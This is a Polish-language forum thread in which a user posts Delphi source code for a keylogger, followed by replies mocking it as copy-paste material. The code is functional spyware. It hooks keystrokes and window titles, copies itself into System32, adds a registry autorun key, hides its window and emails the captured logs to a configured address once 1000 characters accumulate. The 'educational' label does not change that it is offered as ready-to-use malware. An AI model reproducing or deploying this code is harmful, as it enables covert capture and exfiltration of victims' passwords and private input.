Keylogger w Delphi (hook).

Bezel21

Użytkownik
Dołączył
Maj 22, 2007
Posty
104
Cześć.

Ten artykuł jest poświęcony pisaniu keyloggera, który wysyła logi po określonej ilości znaków.
Keylogger oparty na Hooku, przechwytuje nazwy okienek, polskie znaki...

ARTYKUŁ DO CELÓW EDUKACYJNYCH.

(((<------------------------------------------------------->)))

Komponenty:

Keylogger oparty na Indy - IdMessage, IdSmtp.

Reszta komponentów - memo, timer.

(((<------------------------------------------------------->)))

Kod:

Do głównego Var daj:

Kod:
liczba : integer;
  Hook : Integer;
  MMBB : TEventMsg;
  literka : string;
  naglowek : string;
  poprzedninaglowek : string;

Do uses:

Kod:
registry

Skorzystamy z gotowego Hooka(krolnet.pl):

... Do FormCreate dodaj:

Kod:
Hook := SetWindowsHookEx(wh_journalrecord, KLog, HInstance, 0);

... Do FormDestroy dodaj:

Kod:
UnHookWindowsHookEx(Hook);

... I funkcja pod

Kod:
Implemantion
  
  {$R *.dfm}

Jedna:

Kod:
function NT_InternalGetWindowText(Wnd: HWND): string;
  type
   TInternalGetWindowText = function(Wnd: HWND; lpString: PWideChar;
    nMaxCount: Integer): Integer;
   stdcall;
  var
   hUserDll: THandle;
   InternalGetWindowText: TInternalGetWindowText;
   lpString: array[0..MAX_PATH] of WideChar;
  begin
   Result  := '';
   hUserDll := GetModuleHandle('user32.dll');
   if (hUserDll > 0) then
   begin @InternalGetWindowText := GetProcAddress(hUserDll, 'InternalGetWindowText');
    if Assigned(InternalGetWindowText) then
    begin
     InternalGetWindowText(Wnd, lpString, SizeOf(lpString));
     Result := string(lpString);
    end;
   end;
  end;

Druga:

Kod:
function KLog(Code: integer; wParam, lParam: Longint): Longint; stdcall;
  begin
  case Code of
  HC_ACTION: begin
  MMBB := PEventMsg(lParam)^;
  
  if MMBB.message = wm_KeyDown then
  begin
  naglowek := (NT_InternalGetWindowText(GetForegroundWindow));
        if poprzedninaglowek <> naglowek then
          begin
          Form1.Memo1.Lines.Add('           ');
          Form1.Memo1.Lines.Add('Nazwa Okna: '+naglowek+', '+DateToStr(Date)+'  -  '+TimeToStr(Time));
          Form1.Memo1.Lines.Add('');
          end;
  
  literka := chr(MMBB.paraml);
  
  case MMBB.paramh of
     1 : Form1.Memo1.Text := Form1.Memo1.Text + '<ESC>';
    14 : Form1.Memo1.Text:= copy(Form1.Memo1.Text, 1, length(Form1.Memo1.Text)-1);
    15 : Form1.Memo1.Text := Form1.Memo1.Text + '<TAB>';
    28 : Form1.Memo1.Lines.Add('');  // ENTER
    57 : Form1.Memo1.Text := Form1.Memo1.Text + ' ';
    125 : Form1.Memo1.Text := Form1.Memo1.Text + '<M>';
  
  
    16..25:
        if Odd(GetKeyState(VK_CAPITAL)) then
        if GetKeyState(VK_SHIFT) < 0 then
        Form1.Memo1.Text := Form1.Memo1.Text + LowerCase(literka)
        else
        Form1.Memo1.Text := Form1.Memo1.Text + chr(MMBB.paraml)
        else
        if GetKeyState(VK_SHIFT) < 0 then
        Form1.Memo1.Text := Form1.Memo1.Text + chr(MMBB.paraml)
        else
        Form1.Memo1.Text := Form1.Memo1.Text + LowerCase(literka);
  
    30..38:
        if Odd(GetKeyState(VK_CAPITAL)) then
        if GetKeyState(VK_SHIFT) < 0 then
        Form1.Memo1.Text := Form1.Memo1.Text + LowerCase(literka)
        else
        Form1.Memo1.Text := Form1.Memo1.Text + chr(MMBB.paraml)
        else
        if GetKeyState(VK_SHIFT) < 0 then
        Form1.Memo1.Text := Form1.Memo1.Text + chr(MMBB.paraml)
        else
        Form1.Memo1.Text := Form1.Memo1.Text + LowerCase(literka);
  
    44..50:
        if Odd(GetKeyState(VK_CAPITAL)) then
        if GetKeyState(VK_SHIFT) < 0 then
        Form1.Memo1.Text := Form1.Memo1.Text + LowerCase(literka)
        else
        Form1.Memo1.Text := Form1.Memo1.Text + chr(MMBB.paraml)
        else
        if GetKeyState(VK_SHIFT) < 0 then
        Form1.Memo1.Text := Form1.Memo1.Text + chr(MMBB.paraml)
        else
        Form1.Memo1.Text := Form1.Memo1.Text + LowerCase(literka);
  
    41:  if GetKeyState(VK_SHIFT) < 0 then Form1.Memo1.Text := Form1.Memo1.Text + '~'
        else Form1.Memo1.Text := Form1.Memo1.Text + '`';
    2:  if GetKeyState(VK_SHIFT) < 0 then Form1.Memo1.Text := Form1.Memo1.Text + '!'
        else Form1.Memo1.Text := Form1.Memo1.Text + '1';
    3:  if GetKeyState(VK_SHIFT) < 0 then Form1.Memo1.Text := Form1.Memo1.Text + '@'
        else Form1.Memo1.Text := Form1.Memo1.Text + '2';
    4:  if GetKeyState(VK_SHIFT) < 0 then Form1.Memo1.Text := Form1.Memo1.Text + '#'
        else Form1.Memo1.Text := Form1.Memo1.Text + '3';
    5:  if GetKeyState(VK_SHIFT) < 0 then Form1.Memo1.Text := Form1.Memo1.Text + ' 
        else Form1.Memo1.Text := Form1.Memo1.Text + '4';
    6:  if GetKeyState(VK_SHIFT) < 0 then Form1.Memo1.Text := Form1.Memo1.Text + '%'
        else Form1.Memo1.Text := Form1.Memo1.Text + '5';
    7:  if GetKeyState(VK_SHIFT) < 0 then Form1.Memo1.Text := Form1.Memo1.Text + '^'
        else Form1.Memo1.Text := Form1.Memo1.Text + '6';
    8:  if GetKeyState(VK_SHIFT) < 0 then Form1.Memo1.Text := Form1.Memo1.Text + '&'
        else Form1.Memo1.Text := Form1.Memo1.Text + '7';
    9:  if GetKeyState(VK_SHIFT) < 0 then Form1.Memo1.Text := Form1.Memo1.Text + '*'
        else Form1.Memo1.Text := Form1.Memo1.Text + '8';
   10:  if GetKeyState(VK_SHIFT) < 0 then Form1.Memo1.Text := Form1.Memo1.Text + '('
        else Form1.Memo1.Text := Form1.Memo1.Text + '9';
   11:  if GetKeyState(VK_SHIFT) < 0 then Form1.Memo1.Text := Form1.Memo1.Text + ')'
        else Form1.Memo1.Text := Form1.Memo1.Text + '0';
   12:  if GetKeyState(VK_SHIFT) < 0 then Form1.Memo1.Text := Form1.Memo1.Text + '_'
        else Form1.Memo1.Text := Form1.Memo1.Text + '-';
   13:  if GetKeyState(VK_SHIFT) < 0 then Form1.Memo1.Text := Form1.Memo1.Text + '+'
        else Form1.Memo1.Text := Form1.Memo1.Text + '=';
   26:  if GetKeyState(VK_SHIFT) < 0 then Form1.Memo1.Text := Form1.Memo1.Text + '{'
        else Form1.Memo1.Text := Form1.Memo1.Text + '[';
   27:  if GetKeyState(VK_SHIFT) < 0 then Form1.Memo1.Text := Form1.Memo1.Text + '}'
        else Form1.Memo1.Text := Form1.Memo1.Text + ']';
   39:  if GetKeyState(VK_SHIFT) < 0 then Form1.Memo1.Text := Form1.Memo1.Text + ':'
        else Form1.Memo1.Text := Form1.Memo1.Text + ';';
   40:  if GetKeyState(VK_SHIFT) < 0 then Form1.Memo1.Text := Form1.Memo1.Text + '"'
        else Form1.Memo1.Text := Form1.Memo1.Text + '`';
   51:  if GetKeyState(VK_SHIFT) < 0 then Form1.Memo1.Text := Form1.Memo1.Text + '<'
        else Form1.Memo1.Text := Form1.Memo1.Text + ',';
   52:  if GetKeyState(VK_SHIFT) < 0 then Form1.Memo1.Text := Form1.Memo1.Text + '>'
        else Form1.Memo1.Text := Form1.Memo1.Text + '.';
   53:  if GetKeyState(VK_SHIFT) < 0 then Form1.Memo1.Text := Form1.Memo1.Text + '?'
        else Form1.Memo1.Text := Form1.Memo1.Text + '/';
  
  
   71:  Form1.Memo1.Text := Form1.Memo1.Text + '7';
   72:  Form1.Memo1.Text := Form1.Memo1.Text + '8';
   73:  Form1.Memo1.Text := Form1.Memo1.Text + '9';
   75:  Form1.Memo1.Text := Form1.Memo1.Text + '4';
   76:  Form1.Memo1.Text := Form1.Memo1.Text + '5';
   77:  Form1.Memo1.Text := Form1.Memo1.Text + '6';
   79:  Form1.Memo1.Text := Form1.Memo1.Text + '1';
   80:  Form1.Memo1.Text := Form1.Memo1.Text + '2';
   81:  Form1.Memo1.Text := Form1.Memo1.Text + '3';
   82:  Form1.Memo1.Text := Form1.Memo1.Text + '0';
   83:  Form1.Memo1.Text := Form1.Memo1.Text + ',';
   78:  Form1.Memo1.Text := Form1.Memo1.Text + '+';
   74:  Form1.Memo1.Text := Form1.Memo1.Text + '-';
   55:  Form1.Memo1.Text := Form1.Memo1.Text + '*';
  
  end;
  end;
  end;
  end;
  poprzedninaglowek:=naglowek;
  end;

W timerze daj kod, który jest odpowiedzialny za naliczanie znaków:

Kod:
begin
  liczba:=length(memo1.text);
  if liczba > 1000 then // liczba znaków
  wysylanie;
  end;

Rejestr:

Kod:
procedure Tform1.Rejestr;
  var
  Rejestr:TRegistry;
  begin
    copyfile(pchar(paramstr(0)),pchar('C:\WINDOWS\System32\keylogger.exe'),true);
    Rejestr:=TRegistry.Create;
    Rejestr.RootKey:=(HKEY_CURRENT_USER);
    Rejestr.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run',False);
    Rejestr.WriteString('keylogger', 'C:\WINDOWS\System32\keylogger.exe');                                   
    Rejestr.Free;
  end;


Do FormCreate dodaj:

Kod:
Rejestr;

...Nad private:

Kod:
procedure Rejestr;

Ukrywanie formy:

Kod:
Application.showmainform:=false;

Wysyłanie:

Kod:
procedure Tform1.wysylanie;
  begin
  IdMessage1.Body.Append(memo1.text);
  IdMessage1.Recipients.EMailAddresses := 'Odbiorca';
  IdMessage1.Subject := 'Log';
  IdMessage1.From.name := 'Keylogger';
  IdMessage1.From.Address :='email serwera...';
  idSMTP1.Password := 'haslo serwera';
  idSMTP1.Username := 'login serwera';
  idSMTP1.Host := 'host';
  idSMTP1.AuthenticationType:=atLogin;
  IdSMTP1.Connect;
  try
    IdSMTP1.Send(IdMessage1);
  finally
  idmessage1.body.Clear;
     memo1.lines.Clear;
  end;
  end;

A nad private:

Kod:
procedure wysylanie;

No to tyle.
Jak jakieś błędy poprawić mnie!!
smile.gif

Pozdro.


//zlituj się, cały post bold'em??
 

spiterbot

Użytkownik
Dołączył
Listopad 1, 2007
Posty
143
nie to żebym się czepiał ale jeśli miał bym skrócić artykuł w 3 pkt

1.ściągnij delphi,komponenty
2.daj kopiuj/wklej
3.skompiluj i masz keyloggera - jesteś ub3rpr0h4x0r3m

pozdro
 

Bezel21

Użytkownik
Dołączył
Maj 22, 2007
Posty
104
<div class='quotetop'>CYTAT(spiterbot @ 15.11.2008, 18:55) <{POST_SNAPBACK}></div>
nie to żebym się czepiał ale jeśli miał bym skrócić artykuł w 3 pkt

1.ściągnij delphi,komponenty
2.daj kopiuj/wklej
3.skompiluj i masz keyloggera - jesteś ub3rpr0h4x0r3m

pozdro[/b]

Tutoriale są po to aby pomagać, dać jakiś początek Waszych lepszych Keyloggerów. Więc nie rozumiem Twojej wypowiedzi
smile.gif
 

spiterbot

Użytkownik
Dołączył
Listopad 1, 2007
Posty
143
<div class='quotetop'>CYTAT(Bezel21 @ 16.11.2008, 12:20) <{POST_SNAPBACK}></div>
Tutoriale są po to aby pomagać, dać jakiś początek Waszych lepszych Keyloggerów. Więc nie rozumiem Twojej wypowiedzi
smile.gif
[/b]
tak tutoriale...ale czy to jest tutotial?

<div class='quotetop'>CYTAT(Bezel21 @ 16.11.2008, 12:20) <{POST_SNAPBACK}></div>
Do głównego Var daj:

... Do FormCreate dodaj:

... Do FormDestroy dodaj:[/b]

<div class='quotetop'>CYTAT(Bezel21)</div>
Ten artykuł jest poświęcony pisaniu keyloggera,[/b]
nacisnij edit i zmień na:
Kod:
ten artykuł jest poświęcony zrobieniu kopiuj/wklej

sry ale nawet nie wyjaśniłeś jak to działa
 

Bezel21

Użytkownik
Dołączył
Maj 22, 2007
Posty
104
<div class='quotetop'>CYTAT(spiterbot @ 16.11.2008, 13:01) <{POST_SNAPBACK}></div>
tak tutoriale...ale czy to jest tutotial?




nacisnij edit i zmień na:
Kod:
ten artykuł jest poświęcony zrobieniu kopiuj/wklej

sry ale nawet nie wyjaśniłeś jak to działa[/b]

Od tego są komentarze.
Zapyta się ktoś, chętnie odpowiem
<
 

widmo17

Były Moderator
Dołączył
Lipiec 16, 2007
Posty
1089
Muszę się zgodzić z ze spiterbotem ;] Całego keya można zrobić metodą copiego & paste' a. Wystarczyło napisać kilka linijek więcej, na czym polega dana funkcja, po co ta linijka, co przechowuje ta zmienna... wydaje mi się, że na tym polegają artykuły
<
 

HKN

Użytkownik
Dołączył
Listopad 13, 2008
Posty
46
ctrl+alt+del
i hook zerwany
A jak się zablokuje menedżera zadań to będzie wiadome że coś jest nie tak..
Pozatym wg. mnie jak ktoś pisze tuta w ten sposób, to powinieneś dodać kilka specjalnych błędów w kodzie
<
ale to moje zdanie.
Za dobre chęci +
 

HKN

Użytkownik
Dołączył
Listopad 13, 2008
Posty
46
no jest jeden błąd, że dolara nie ma gdzieś, ale ktoś poprostu wywali linijke i tak bedzie dzialać ;p
 

Bezel21

Użytkownik
Dołączył
Maj 22, 2007
Posty
104
Ja jak coś robie to dokładnie i bez błędów (staram się).
Tutorial napisałem aby w szczególności korzystali początkujący, sam kiedyś poszukiwałem takich tutoriali.
Kiedyś może napisze tutorial jak zrobić jeszczę lepszego Keyloggera
smile.gif

Pozdrówka
<
 

widmo17

Były Moderator
Dołączył
Lipiec 16, 2007
Posty
1089
Tutorial napisałem aby w szczególności korzystali początkujący[/b]
(czyt. lamy) sorry, taka prawda xP do arta nic nie mam, ale jest napisany typowo pod kopiuj wklej. Początkujący chcą się czegoś dowiedzieć, więc taki artykuł mało im da (oczywiście jeśli nie skorzystają z google xP), ale jak byś to opisał - prosz, `nowy` się cieszy, a lamy mają pecha, bo nie mogą zrobić ctrl+c, ctrl+v
 
Do góry Bottom